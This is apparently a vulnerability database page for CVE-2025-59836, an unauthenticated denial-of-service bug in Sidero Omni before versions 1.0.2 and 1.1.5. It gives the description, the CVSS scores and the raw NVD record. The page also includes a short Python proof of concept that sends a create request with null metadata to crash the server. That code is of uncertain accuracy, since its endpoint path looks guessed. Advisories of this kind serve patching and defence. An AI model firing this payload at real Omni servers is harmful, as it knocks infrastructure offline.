Security Vulnerability Report
中文
CVE-2025-59836 CVSS 5.3 MEDIUM

CVE-2025-59836

Published: 2025-10-13 21:15:34
Last Modified: 2025-12-04 21:33:53

Description

Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. Prior to 1.1.5 and 1.0.2, there is a nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints. The vulnerability exists in the isSensitiveSpec function which calls grpcomni.CreateResource without checking if the resource's metadata field is nil. When a resource is created with an empty Metadata field, the CreateResource function attempts to access resource.Metadata.Version causing a segmentation fault. This vulnerability is fixed in 1.1.5 and 1.0.2.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:siderolabs:omni:*:*:*:*:*:kubernetes:*:* - VULNERABLE
cpe:2.3:a:siderolabs:omni:*:*:*:*:*:kubernetes:*:* - VULNERABLE
Sidero Omni < 1.0.2
Sidero Omni 1.1.x < 1.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59836 PoC - Omni Resource Service Nil Pointer Dereference # This PoC demonstrates how to trigger a nil pointer dereference # by sending a resource create/update request with empty Metadata field import requests import json # Target Omni API endpoint target_url = "https://<omni-server>/api/v1/resources/create" # Craft malicious payload with empty Metadata field # This triggers nil pointer dereference in isSensitiveSpec -> CreateResource payload = { "resource": { "metadata": None, # Empty/nil metadata triggers the vulnerability "spec": {} } } # Send unauthenticated request (no auth required) headers = { "Content-Type": "application/json" } response = requests.post( target_url, headers=headers, data=json.dumps(payload), verify=False ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Server should panic/segfault due to nil pointer dereference # in resource.Metadata.Version access

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59836", "sourceIdentifier": "[email protected]", "published": "2025-10-13T21:15:34.457", "lastModified": "2025-12-04T21:33:52.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. Prior to 1.1.5 and 1.0.2, there is a nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints. The vulnerability exists in the isSensitiveSpec function which calls grpcomni.CreateResource without checking if the resource's metadata field is nil. When a resource is created with an empty Metadata field, the CreateResource function attempts to access resource.Metadata.Version causing a segmentation fault. This vulnerability is fixed in 1.1.5 and 1.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siderolabs:omni:*:*:*:*:*:kubernetes:*:*", "versionEndExcluding": "1.0.2", "matchCriteriaId": "B7B04852-C400-4D56-9C77-EF08063D24DE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:siderolabs:omni:*:*:*:*:*:kubernetes:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.1.5", "matchCriteriaId": "2102EFDA-BE62-4587-A556-98CF28167D6D"}]}]}], "references": [{"url": "https://github.com/siderolabs/omni/commit/1396083f766a1b0380e9949968d7fc17b7afecaa", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/siderolabs/omni/commit/1fd954af64985a8b3dbf5b11deddbf7cd953f5ae", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/siderolabs/omni/security/advisories/GHSA-4p3p-cr38-v5xp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}